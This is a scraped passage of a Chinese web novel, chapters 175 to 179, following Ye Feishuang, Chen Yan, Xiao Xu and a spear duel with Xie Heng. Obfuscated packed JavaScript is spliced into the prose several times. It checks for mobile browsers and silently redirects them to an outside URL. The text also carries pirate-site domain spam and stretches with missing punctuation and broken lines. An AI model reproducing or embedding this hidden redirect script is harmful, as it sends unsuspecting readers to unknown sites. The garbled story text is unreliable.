按说师父是同一位,剑法不应该有这么大差别。 但要细说的话,还是这一世的剑法更契合陈宴。他继续练下去的话,应该会比前世更厉害。 最后,萧序的刀划了陈宴的袖口,陈宴的剑割了萧序的衣摆。 宁衡指着萧序问叶绯霜:“师父,那人是谁啊?” “是逸真大师的弟子。” 宁衡大惊:“那他为什么有头发?” “俗家弟子。” “哦。”见两人住了手,宁衡立刻跑过去问萧序,“我能看看你的刀吗?” 萧序斜睨了宁衡一眼,姿态很是高贵冷艳。 宁衡看清了他的脸,不禁“哇”了一声:“你真好看,你的刀也好看。” 明显后一句让萧序很受用,他潇洒地把刀扔给了宁衡。 宁衡捧着这柄墨色横刀,跑回叶绯霜身边:“师父,你看这柄刀,好漂亮!” 叶绯霜深以为然,这把刀非常配萧序的气质。 宁衡问:“你这把刀从哪里买的?” 萧序很骄傲地说:“我阿姐给我打的。” 宁衡:“能不能让你阿姐也给我打一柄?” 萧序的脸立刻就黑了:“不能!” 宁衡:“我可以给她钱,给很多钱。” “谁稀罕你的钱?”萧序顿时不高兴了,把自己的刀收了回去。 宁衡哪儿被人这么甩过脸子,顿时也不高兴了。 叶绯霜凑近宁衡,小声又飞快地说:“他阿姐不在了。 原来如此,宁衡顿时理解了,原谅了萧序。 叶绯霜问萧序:“你这刀叫什么名字? 名刀、名剑、名琴等等,都有自己的名字。 萧序眼睛亮亮地看着她:“与君同。 既是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115899|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他阿姐所赠,想必名字也是她所取,叶绯霜很容易就想到了是哪三个字。 横刀如我,常与君同。 宁衡则朝立在院中的陈宴喊:“陈宴,你的剑叫什么啊? “没有名字。 宁衡“啧了一声:“你这么风雅的人,竟然不给剑取名字。 相同的对话,在前世的叶绯霜和陈宴之间也发生过。 当时陈宴的回答是:“只有最好的剑才配有名字。 她问:“你的剑不是最好的吗? 她感觉陈宴这么讲究的人,他的一切都该是最好的。 “不是。他说,“有人曾赠与我一柄最好的剑。 “后来呢? “丢了。 “还能找到吗? “找不到了。 “好可惜,那柄剑有名字吗? “有。他说,“叫贯日长虹。 小说的域名caixs?(请来才 小说 看最新章节 完整章节) “哇,可真好听。叶绯霜从这个名字都能想象到那柄剑的样子,“那可以让他再赠你一柄吗? “不能。他说,“人不在了。 “哦。叶绯霜感觉自己提起了不好的事情,有些悻悻,“对不住,我不该问这些。 当时的陈宴并没有生气,反而还笑了。 摸了摸她的发,说:“没什么对不住的,我又不难过。 他还把手里的剑给她看:“这柄剑就是仿造那柄锻的,是把赝品。 叶绯霜仔细地看,剑身雪白,如流月覆霜,剑尖有一片红枫。 想到这里,叶绯霜忽然灵光一闪,忙对萧序说:“你的刀给我。 萧序递过来,叶绯霜看向刀尖,果然,也刻了一片红枫。 和前世陈宴剑上的一模一样。 她指着红枫问萧序:“这个是? “我阿姐刻的呀。他笑答,“她说这个代表了她,会一直陪着我。 叶绯霜又把陈宴的剑要来看。 是一柄上好的剑,但是上边没有任何铭刻。 并不是前世那柄赝品。 所以说,萧序的阿姐也赠过陈宴一柄剑,但是被他弄丢了,只能锻一把赝品来用,好睹物思人。 啧啧,还挺长情。 不对,你长情还**家干啥? 叶绯霜得出结论:陈晏有病。 第175章 同仇敌忾 叶绯霜第二天一早就回了城。 在街边买包子的时候,听见人们还在议论白溪寺和璐王府,不过因为昨晚的瑞象,对璐王府没有任何不好的话,只有崇敬和赞美。 对白溪寺那就骂得要多难听有多难听了。 叶绯霜去郑府后巷的一个小院里找一位嬷嬷。 这嬷嬷是十七姨娘出事后,新换进五房的,叶绯霜收买了她。 嬷嬷带着叶绯霜去了东厢房,炕上躺着一个小孩子。 小孩子不知人间喜悲,正抱着个布老虎枕头玩,瞧见叶绯霜还嘲她嘿嘿地乐。 嬷嬷立刻道:“十一少爷知道五姑娘是他的贵人,朝您笑呢。” 这话听听就得了,不到两岁的孩子知道什么。 叶绯霜让嬷嬷把孩子包起来,放在一个大篮子里。 她抱着篮子去了素锦,周娘子正在把新来的锦缎仔仔细细摆好。 二人去了周娘子的房间,襁褓打开,周娘子一瞧见里边的小孩子,顿时心软无比。 “这就是十一少爷吗?”她慈爱地看着孩子,“生得很好呢。” 叶绯霜说:“以后就没有十一少爷了。” 周娘子曾说过,想去慈幼局领个孩子养。 叶绯霜想,白溪寺的事情暴露后,郑丰是绝对容不下郑文宝的,可是稚子又有什么错呢? 于是她和周娘子说,要是能把郑文宝救出来,就由周娘子来养。 周娘子自然满口答应。 “这以后就是娘子的孩子了。”叶绯霜说,“给他取个名字吧。” 周娘子爱怜地摸了摸郑文宝的头,说:“跟我姓周,叫周渡吧。人世间就是一场浩劫,每个孩子都是来渡劫的,希望他能好好渡过去。” 叶绯霜笑道:“好。” “五姑娘放心,虽然我给不了他郑家那样的荣华富贵,但我一定会好好养他的,我会给他我能给的一切,教他做一个好人。” 叶绯霜也和周娘子认识这么久了,当然相信她的为人。 周娘子把郑文宝安顿好后,和叶绯霜聊起来:“昨儿天上那麒麟就是咱们缝的那个吗?那么大!” “是啊。” “可太真了。”周娘子咂嘴,“我就想呢,这到底是我缝那个,还 是真的神兽显灵了。” 这种装神弄鬼的事情,肯定越少人知道越好,所以叶绯霜只找了她信得过的几个人。 让桑彤调了特殊的香,拿香驯了那只鹰,教它循着味道去扑人。 让绿蕊以做点心为由,多买了许多牛油,做了好几根大蜡烛。 让周娘子找到几块绢纱拼接起来,缝了一只巨大的五彩麒麟。 周娘子绣活好,把麒麟绣得活灵活现。这活不需要太精细,反正那么大,周娘子的手把丝线勾了、把布划了也不打紧。 周娘子还问:“神兽那么多,为啥选了麒麟?不从龙的九个儿子里边选一个。” 因为—— “没见书上说吗?应龙生建马,建马生麒麟。应龙合了先帝,建马合了璐王,麒麟自然就是世子了。” 说话这人明显是个读书人,茶楼里的人听了都觉得有道理。 还有人表示怀疑:“可是世子和王爷长得不像啊。” 立刻就招来反驳:“没听说吗?世子像先帝!这可是郑老太爷亲口说的,郑老太爷给先帝当了那么些年侍郎,他说的话会错?” “是,郑老太爷说那天,我就在万福居吃饭呢,我亲耳听到的。” “我也在,我也听见了,那时候白溪寺的人还没进城呢。” “我家闺女长得就像她奶奶,这有啥稀奇的?” 于是没人再质疑宁衡的相貌了。 过了寒衣节,天越来越冷,百姓们对白溪寺和璐王府的讨论也逐渐淡了下去。 杜知府早就给京城刑部和廉州府衙去了文书报告此案,两地大惊,刑部立刻派了位主事前来,把白溪寺众人押往京城进行审理。 假姑子们被押走了,此事总算告一段落,杜知府得以喘口气。 叶绯霜带着桑彤去和杜知府见面。 十几年没见了,和陌生人没什么区别。 桑彤最开始有些拘谨,说起姚太傅时,才终于松泛了点儿。 “祖父是冤枉的,我一直想为祖父翻案,可是我能做的太少了。”桑彤啜泣着说,“杜大人,你相信祖父是冤枉的吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115900|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 杜知府没有回答桑彤的问题,反问道:“姑娘可知老师因何获罪?” “好像是结党。” “是。”杜知府颔首“老师的案子和先太子有关。” 桑彤低呼了一声。 她知道杜知府口中的“先太子”指的是当今皇上的弟弟先帝嫡子——德璋太子。 叶绯霜前世听陈宴说过当今圣上的皇位来得相当不容易斗倒了一大批人才得以登基。其中他最大的对手就是德璋太子毕竟那可是名正言顺的储君。 登基后自然要对昔日对手的党羽进行清算。如果姚太傅是因为和德璋太子结党而获罪这个翻案的难度可就太大了。 前世确实翻了不过陈宴只是提了一嘴具体怎么翻的没说。 桑彤也不敢再说什么了。 毕竟现在人家的官当得好好的倘若要为老师翻旧案把自己的前途赔进去这就不太好了。 桑彤心里升起的那点希望的火光又灭了。 送杜知府出去时叶绯霜问他:“杜大人我二伯还在吗?” 杜知府有些意外反问:“郑五姑娘从何处得知本官和郑二老爷有关系的?” 叶绯霜也没隐瞒:“见过几个昔日幽山寨的人。” “难怪。”杜知府颇为伤感地摇了摇头“六哥早就不在了。” “杜大人是为了我二伯来的荥阳吗?” “我若否认想必郑五姑娘也不信。”杜知府道“的确六哥恨那姓秦的老虔婆我想为他报仇。” 叶绯霜说:“我也恨她。她害我父母受尽苦楚害我和他们生离十年。我回来后又屡次为难我们我恨不得将她剥皮抽筋。” “很难吧?” “是啊。她中风后就严加护卫着自己的院子一只苍蝇都飞不进去。我起先还能进去现在都不让我靠近了。” “不能急 “是我不急。”叶绯霜转而道“要是有机会希望杜大人可以给我讲讲二伯。” 杜知府惯来肃正的脸上露出一抹温和的笑容:“好。” 叶绯霜仰头望着杜知府:“我祭拜二伯的时候说过我会收拾那个老太婆希望届时可以让他欣慰些许。” 杜知府点头:“他会的。” 第176章 怎么哭了 第一场大雪纷扬而落,郑府的千亩梅林凌寒盛开,灿如烟霞。 这天是腊八,按照习俗要吃团圆八宝饭。 萧序懒懒散散地从山洞里出来,准备去玉琅阁蹭饭。 下人提来一个精致的食盒:“公子,有人送东西来了。” 盖子刚一打开,香味就飘了出来。 食盒里放着精致的八宝饭团,并着几样可口的点心,旁边还有一枚散发着清幽香气的花笺。 一看就是女儿家精心准备的,花笺里不出意外应该写了一首风雅的小诗。 “什么乱七八糟的破玩意。”萧序很嫌弃的样子,“谁送的?” “是傅姑娘。” 萧序明显不知道这位傅姑娘是谁,也没兴趣知道。 他打了个哈欠,懒洋洋的:“你们自己处理。” 他系上狐皮大氅的系带,出了院子。 傅湘语送完食盒后并没有即刻回鼎福居,而是走进梅林里,踹一棵梅树泻火。 “又不见我!”傅湘语愤愤道,“我送过那么多次东西,他怎么着都该亲自见我一面道声谢吧?真是无礼!” 她的丫鬟喜鹊忙道:“那位贵人身体不好,可能下不了床吧。” 傅湘语面容阴沉,这还让她怎么下手? 那位贵人都搬进郑府几个月了,傅湘语竟然一次都没有见到对方。 她本来还想着,倘若对方相貌、才学还过得去,她就不嫌弃他身体不好,结了这门亲事。 “莫非他长得不能见人?”傅湘语想了想,“不然怎么这么长时间都避门不出。” 喜鹊表示同意:“常年卧病的人能好看到哪里去?姑娘,依我看还是算了,您还是听从公子的安排吧。” 郑文煊回京的时候,傅闻达跟着他一起去了。 傅闻达说,他准备在京城置一个宅子,安顿好后就把她接过去,为她在京城寻一门亲事。 宁浔已经化成了灰,她和宁浔的那档子事也没什么人提了,去京城结亲其实是很好的选择。 “也只能这样了。”傅湘语喃喃道,“左右以后陈公子也会在京城的。” 她和陈宴是无缘了,但若能远远地看一看他也是好的。 喜鹊叹息,很是心疼傅湘语。 她家姑娘一片深情陈三郎怎么就看不见呢? 主仆二人闷闷不乐地准备回鼎福居喜鹊忽然拍了拍傅湘语惊道:“姑娘你看!” 傅湘语望去只见白雪红梅中一位年轻公子缓步走来。 他的五官是种秾丽的俊美气质却矜傲疏冷所以显得不落凡尘像是水墨画里走出来的画中仙。 他忽然驻足折了一段梅枝袖口滑落半寸露出一截冷白清瘦的腕骨。 傅湘语脑海中霎时间涌现出许多千古名句来形容此情此景却又觉得哪句都不够。 虽然第一次见但傅湘语确定他就是那位养病的贵人。 他朝自己走来傅湘语立刻挺直脊背 同时大脑飞速旋转想着他和自己打招呼的时候怎么回应可以把自己最完美的一面展现出来。 傅湘语的心跳越来越快逐渐和对方越来越近的脚步声合于一处。 三步、两步、一步……傅湘语扬起一个无懈可击的完美笑容刚抬起脸却见对方目不斜视地从她面前走过去了。 就和没看见她这个人似的。 傅湘语愣了一瞬继而出声唤他:“公子!” 萧序停下脚步侧过脸来:“你有事?” 傅湘语攥着帕子笑问:“给公子的八宝饭团公子可尝了?” “没有。” “为何没吃?是不合口味吗?” “怕有毒。” 傅湘语面色一僵:“呃……公子开玩笑了谁能给您下……” 萧序不耐烦地打断她:“你到底有没有事?” “我……”傅湘语从没遇到过这种人一时间不知道该如何打交道。 “没事鬼叫什么。”扔下这句萧序抬步离开。 傅湘语呆呆愣愣地站在原地。 直到萧序的身影从梅林间彻底消失她才终于回神。 尴尬和羞赧后知后觉地涌来让她登时面红耳赤。 “真是无礼!”傅湘语气得浑身哆嗦“这般目中无人他是看不起我吗?” 喜鹊张望了一下说:“呀姑娘他好像往玉琅阁去了。” “什么?”傅湘语美目圆睁 继而稍微一想明白了寒声道“被陈家退了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见他哭叶绯霜心里也不好受问:“怎么了呀?不舒服吗?” 萧序眼中闪过一抹剧烈的挣扎似是想坦白什么但是又顾虑重重不敢明说。 思忖半天他小心翼翼地问:“阿姐如果有一个人犯过大错你会原谅他吗?” 第177章 会原谅吗 “那得看是什么样的错。”叶绯霜认真分析,“有些错可以一笑泯恩仇,有些不可以。” 萧序苍白的指尖扣着桌沿,小声问:“什么样的不可以?” “给我造成过很重的伤害,或者伤害了对我来说很重要的人。” 萧序脸上的血色更淡了:“如果你不原谅一个人,你会怎么做呢?会杀掉他吗?” “如果那个人是个彻头彻尾的恶人,坏事做尽,我会杀掉他。如果他只是对我一人恶,对其他许多人好,能做许多利国利民的好事,能让这个世道好一点,那我不会杀他。” “你不杀他,也不会原谅他。” “对,能当陌路人最好,互不牵扯,各不相干。” 萧序浓长的睫羽颤了颤:“那如果他有苦衷呢?如果他是为了你好,才不得已犯了错,你也不会原谅他吗?” “不会。”叶绯霜想起往事,目光变得很幽远,“不管他有什么隐情,我受到的伤害都是切实的。我并不认为伤害可以被弥补,吃过的苦,受过的罪,流过的泪都在那里。只是因为他对许多人还有用,而我的日子还要继续往下过,不想一直纠结于一笔烂账。” 说到这里,叶绯霜还补充了一句:“我其实很讨厌这种有苦衷的犯错。” “要是普通的犯错,错了就是错了,你有错,我恨你,这就得了。结果你说你有苦衷,还想让我因为你的苦衷原谅你。那我要一边消化自己受的伤,一边再大度地去体谅你的难处,那我也太可怜了吧。” 话落,房间内沉寂了良久,叶绯霜听见一根树枝不堪重负被雪压断了。 看,雪多轻啊,但是累积起来,也是可以压断树枝的。 “阿姐说得对。”良久,萧序勉强扯出一抹笑来,“错了就是错了。” 叶绯霜想,萧序忽然说起这个,可能因为他在他阿姐那里犯过错。 而他阿姐现在不在了,他连道歉的人都没有了。愧悔和内疚压在心头,让他不堪忍受,所以会落泪。 于是叶绯霜补充了一句:“我刚才说的只是我一个人的想法,不代表别人。” 她不原谅,不代表萧序的阿姐不会原谅。 萧序说:“我就是想听阿姐的想法。” 阿姐的回答让他把刚才已 经到了嘴边的坦白压了回去压在心底埋得很深以后不会再提。 他宁可让阿姐杀了他也不想和阿姐当陌路人。 他很庆幸阿姐没有想起他更没有想起他犯的错。 阿姐说得对日子还要往下过他以后好好和阿姐在一起不论前尘只往后看。 他期盼地看着叶绯霜:“阿姐你以后就做我的阿姐。我不和陈宴报仇了我不杀他了好不好?” 叶绯霜:“……” 怎么着她刚刚一番话难道比佛法还精妙?竟然能让一位大师的弟子放下仇恨? 叶绯霜说:“你是否找陈宴报杀姐之仇我不会管的。我只拦过你一次不会有第二次这是你们之间的恩怨。” 萧序从凳子上下来单腿跪在她身边仰头望着她:“那你以后做我阿姐你不要再说你是假的了你就是真的好不好?” 每次萧序这样看她时都会让她联想到一些猫猫狗狗之类的毛茸茸从而心软。 叶绯霜说:“好不要哭了。” —— 今年生辰陈宴给叶绯霜送来一个很特别的礼物。 这次的她有点喜欢有点拒绝不了。 铺了锦被的篮子里两只灰色的小奶狗正在酣睡。 叶绯霜轻轻摸了摸小狗的皮**感觉有点扎手不是特别柔软的样子。 但是不妨碍它们可爱。 其实前世知道不会有孩子后她就想过养一只猫猫狗狗和自己作伴。 当然也被陈宴拒绝了。 他说他不喜欢这类小东西觉得掉**很烦。 叶绯霜想起他严重的洁癖也只能作罢了。 但现在看陈宴的样子好像不是很讨厌的样子他甚至也伸手摸了摸它们。 叶绯霜直接问了:“你不讨厌它们?” “嗯?不啊。”他说“很可爱怎么会讨厌呢?” 叶绯霜:“……” 两只小东西睡醒了 说的域名caixs. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115902|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append(''  ?(请来才小 说 看最新章节 完整章节)睁着湿漉漉的眼睛望着他们。 叶绯霜仔细看了看总算知道哪里不对劲了。 “这是狼啊。”她说“我还以为是狗呢。” 陈宴颔首:“是狼感觉你会喜欢所以拿来送你。” 养狼和养狗在叶绯霜这里没多大差别她提着篮子回了玉琅阁。 倒是没想到萧序直接炸了:“你要养狼?阿姐你怎么可以养狼!” “怎么不可以?”她反问“我不害怕的难道你害怕?” “开玩笑我怎么可能怕狼!”他急得在屋里转来转去“但你就是不可以养狼!别的都可以老虎黑熊都可以就是狼不行!” “为什么?” “就是不行!”萧序瞪着那两只小狼崽像是在瞪仇人。 “我就要养。”叶绯霜抱着篮子“我喜欢它们。” 萧序好委屈的样子:“可你都有我了。” 叶绯霜觉得好笑:“你又不是狼。” “我不是狼你也不能养狼!” “不行。” 萧序看起来快气哭了。 “我去杀了陈宴!”他转移火力咬牙切齿“送的什么馊礼物!” 陈宴一派淡然不理会也不在乎萧序的火气:“你还管别人送什么礼?” 萧序直接拔刀。 陈宴冷嘲:“你是莽夫吗?” 然而萧序并没有对陈宴动手反而欣赏起自己的刀来还特意摸了摸刀尖上的枫叶像是在炫耀。 陈宴第一次见到这个图案的时候就觉得有点眼熟但想不起来也没梦见。 他最近倒是做过不少梦。 就是一个有用的都没有。 还都很不可言说。 自打那次梦见**后好像就打开了某个开关他之后的梦里都是这档子事。 用不完的精力玩不完的花招。 他越来越自我怀疑 但转而一想日子蜜里调油证明他们夫妻恩爱得很。 后来到底发生了什么让这些恩爱消失殆尽了呢? 第178章 对他胃口 这个新年,可以说是郑府最愁云惨淡的一个年。 五房再也没有了去年那样的热闹,死气沉沉的。 郑丰瘦了好些,肚子小了,眼睛大了。 听五婶康氏说,郑丰现在人都有点神经了,一边想纳妾给自己生孩子,一边又怕像十七姨娘那样生出个怪胎来,更怕像秋扇那样生出个不是自己的娃来。 每天纠结来纠结去,人都变得神神叨叨的。 一处不顺处处不顺,五房的霉运好像传染给了整个郑府,年后就没太平的时候。 初二祭祖时,祖宗的排位莫名其妙倒了,这可不是好兆头。 还没出正月,卢氏不小心扭伤了脚。 二月二龙抬头,鼎福居的小佛堂走水了,所幸发现得及时,没有酿成大祸。 然后就是郑丰病了,请了许多郎中看都不好,反而越来越严重。 二月底,回来过年的傅闻达准备回京城了,还带上了傅湘语。 谁知兄妹二人的马车还没出城,马就不知怎么的受了惊,在街上横冲直撞,傅闻达伤到了胳膊。 兄妹二人没走成,又回了郑府,等傅闻达养好再进京。 这一桩桩一件件接连不断,就没个太平的时候。 像是有一团无形的乌云笼罩在郑府上头,偌大的府邸从上到下都人心惶惶的,不知道下一个倒霉的会是谁。 渐渐地,就生出了闲话,说郑府这么不顺,怕是府里有了什么不干净的东西。 然后闲话逐渐发展成:“怎么从老太太到三房、五房都出了事,偏偏就四房没事?” “四房不是有神佛庇佑吗?你们忘了,白溪寺的假姑子们就是在四房做法时被神鹰惩罚了的!” “哎哎,你们说,既然四房这么神,会不会是他们使了什么法子,报复老太太呢?” 郑府的老奴仆们都知道,老太太对四老爷可不好。 “报复老太太也就算了,关三房五房什么事?” “我听我家那边的老人们说过,有个‘五鬼术’,可以夺人气运!你们看啊,自打五姑娘回来后,她们那一房的日子越过越好,旁人反而越来越倒霉,会不会是气运被她给夺走了?” “还真有可能。” “噫~吓**了,可别 乱说,小心她来夺咱们气运!” “快得了,你一个灶房烧火的婆子有个屁的气运,白给都没人要!” 小桃听见府里这些风言风语,气了个够呛。 “一群长舌妇,说什么屁话,小心死后下地狱让人剪了舌头!” 叶绯霜正在逗两只互相打闹的小狼崽。 “姑娘,您就不管管吗?外头那些人都把咱们说成啥了!一群老婆子,见了我还躲呢,说怕我抢了她们的气运!哼,我的命可比她们好多了,抢她们的?呸!” “这才哪儿到哪儿,随他们说去,不用着急。”叶绯霜倒是一点儿都不慌。 她把写好的话本子装起来,去了书肆。 书肆名叫翰墨书肆,本来快倒闭了,因为她的话本子起死回生,年根清账时发现盈利还不少。 书肆里边的人很多,和以前的门庭冷落天差地别。 大多都是来抄书的寒门学子,因为书贵,贫苦人家买不起,只能手抄。 去年入冬后,叶绯霜就和书肆掌柜说了,多烧几个炭盆,把店里弄得暖和点。 掌柜的很听话,几个大炭盆往那儿一放,整个书肆都暖烘烘的。 于是抄书的贫苦学子们争相涌入,能抢着桌子的用桌子,抢不着就趴地上抄。 反正暖和,冻不着手,还有热茶免费提供。 叶绯霜又让绿蕊找了几个人,提着味馨坊的点心来卖。学子们抄到饥肠辘辘时,闻到物美价廉的可口点心,经常会买一些果腹。 叶绯霜和绿蕊说,卖给学子们的点心不是为了挣钱,只是为了和这些未来的朝廷人才结个善缘,所以不要偷工减料。 给书肆掌柜的留下最新一期话本子后,叶绯霜去了璐王府。 璐王三月就要进京述职了。 “都三年了,可真快。”叶绯霜感叹。 宁衡说:“是啊,师父,咱们第一次见面,就是你在我和父王述职回来的路上救了我俩,这转眼又到了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115903|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这次你去吗?” 宁衡连连摇头:“上次我去主要是为了给太后贺寿,这次不是整寿,用不着大办,我就不去了。我才不想进京呢,懒得见那些人。” 宁衡一边说,一边拿帕子擦额头上的汗。 天儿 还挺冷的宁衡却出了一身的汗主要是练枪练得太辛苦了。 白溪寺之事后宁衡就变得非常刻苦和以前那个总是想着法儿偷懒的他判若两人。 这是他进步最快的几个月。 人成长起来似乎真的就是一瞬间的事情。 “师父咱们去校场啊!”宁衡兴致勃勃地说。 他想去校场和王府府兵过招看看自己苦练的成果。 叶绯霜当然同意:“走!” 按照大昭规制藩王可以养亲兵五百。 五百亲兵分成三等宁衡之前连最下等的都打不过 有胆子大的亲兵朝叶绯霜喊:“姑娘可否和咱们来几招?” 叶绯霜跟着宁衡来过好几次校场这里的亲兵们都认识她了。但并不知道她是宁衡的师父更不知道她具体是哪家姑娘。 一开始觉得宁衡一个亲王世子带小姑娘来校场简直就是胡闹可和叶绯霜打过后再也没人这么想过了。 叶绯霜对于亲兵们想过招的要求向来有求必应随手从兵器架里拿了把枪就上了演武台。 亲兵们排着队向她讨教输了也不觉得丢人。 打倒最后一个讨招的亲兵后叶绯霜也出了汗正准备下台不料身后有兵刃破风声传来。 她枪尖杵地上身一拧仰倒躲过了这一刺。 回头一看来人有点眼熟。 想起来了在怀瑜书院见过她打落了他的箭。 谢珩看清她的脸时猝然一愣而后便笑起来:“姑娘是你啊!” 叶绯霜也笑并不说话提**去。 只一招她就看了出来这是个高手。 还是个用枪的高手。 这太难得了这么好的切磋机会错过岂不是太可惜了? 谢珩从惊喜到惊讶到惊艳。 这姑娘太对他胃口了。 第179章 你看陈三 亲兵们围在演武台下,目不转睛地看着台上的两人。 太精彩了,这才叫过招,而不是单方面吊打。 二人身影如风,**如龙,在空中划出道道光影,枪头相撞声铿锵清脆,震得人耳聋目眩。 谢珩有身形和力气优势,他多用劈、拨。 叶绯霜力气不如他,但身法灵活,换招快,多用点、缠。 最后这场比试,以谢珩一记回马枪,叶绯霜一记凤凰点头结束。 谢珩扔了枪,鼓掌,赞道:“姑娘枪法远胜我家姊妹,是我见过的女中第一人。” “公子谬赞。”叶绯霜笑道,“谢家枪当世第一,想必谢家的姑娘们个个都巾帼不让须眉。” 谢珩扬眉:“你知道我使的是谢家枪?” “看出来了。” “姑娘师从何人?” “我养父。他给我讲过谢家枪,不过我还是第一次亲眼见到使谢家枪的人,果然名不虚传。” “姑娘都如此厉害,想必姑娘养父更是个中高手,不知可否引荐?” “我养父三年前就去世了。” 谢珩赧然,立刻拱手赔礼:“抱歉。” 叶绯霜摆摆手:“不要紧。” “不知姑娘养父的大名,可否告知?” “叶三秋。” 谢珩在脑中仔细搜索,很遗憾地发现没听过叫这个名字的高手。 叶绯霜看出他在想什么,打趣道:“高手总是不出世的。” 谢珩大笑起来:“姑娘所言极是。” 叶绯霜痛痛快快地打了一场,酣畅淋漓,痛快得很。 她下了演武台,找茶水喝。 谢珩跟在她身后,冷不丁来了一句:“姑娘可曾婚配?” 叶绯霜:“噗。” 谢珩满脸通红,不知道是累的,还是羞的。 毕竟这时候他面对的不是军营里那些大大咧咧的糙汉子,而是个灵秀的小姑娘。 没办法,他忍不住。 对方能把他的箭打下来,还和他一样使枪,还能和他打个平分秋色,实在太厉害了。 他就喜欢厉害的人,他被征服了。 他感觉世界上不会有第二个让他这么心服口服的姑娘了。 他梦想中的妻子就是这样的。 叶绯霜实在没想到比一场武会比出这么一个问题她又不是在比武招亲。 “公子我有婚约。” 虽然已经解除了但不妨碍拿出来挡一挡。 谢珩满腔热情兜头被泼了一盆冷水顿时好失望就和天塌了似的。 得了什么也不用问了人家有婚约还有他啥事。 谢珩怏怏地回了客栈。 卢季同瞧见他这一脸菜色乐了:“这是怎么了?” 谢珩一头栽到榻上不吭声。 卢季同只当他发癔症也不多问了和他说起明天出发去颍川的事。 谢珩这次来中原内地并不是来玩的他去了各地的军营、校场巡查看内地卫兵的操练情况。 卢季同是个闲不住的去年一整年都在跟他天南地北地跑最远都跑到了南边的儋州。 所以和他的好兄弟陈宴也有一年没见了很是思念。 陈宴在客居款待两人发现谢珩的话少了。 “怎么了?”他问。 卢季同懒洋洋道:“这几天一直这样就和让哪家姑娘伤了心似的。” 他就是随口打趣毕竟谢珩这莽夫不像个会动春心的谁知莽夫来了句:“你怎么知道?” 卢季同挑起一双桃花眼:“呦呵木头还真开窍了?” 谢珩抿唇垂头丧气:“有什么用。” 卢季同来了兴致:“怎么着人家没看上你?” “人家有婚约。” “嗐我当怎么个事呢。”卢季同靠在椅背上翘着二郎腿笑得十分放肆“婚约有个屁用说解就解了不信你问咱们陈三公子他有经验。” 谢珩看向陈宴:“你婚约解了?” 陈宴云淡风轻地“嗯”了一声还严谨地补充了一句:“祖父未归所以退婚书还没给。” 卢季同摆摆手:“得了得了就是解了。” 谢珩也说:“解了好那郑五姑娘不适合你。” 陈宴抬眼:“你见过?” “见过两次感觉人不怎么样。” 卢季同:“哎谢二你这话我可不爱听了。我表妹特好玩一人你接触了就知道了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115904|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我保证你改 变看法。 谢珩烦得很:“没兴趣。 陈宴:“没兴趣最好。 谢珩就不理解了,他这两位好兄弟火眼金睛,怎么看姑娘时就和瞎了似的。 该和他学学,他眼光多好。 卢季同拍了拍谢珩的肩膀:“是男人就去争,去抢!你看陈三,面对姑娘时要把脸面放下,这样才有机会。 谢珩兴致缺缺:“什么机会?退婚的机会? 卢季同:“是啊,就是退婚的机会啊。她退了婚,你的机会不就来了? 谢珩:“…… “她只是有婚约,不代表她和男方有感情。你看陈三,他不就是个例子吗? 谢珩:“好像有点道理。 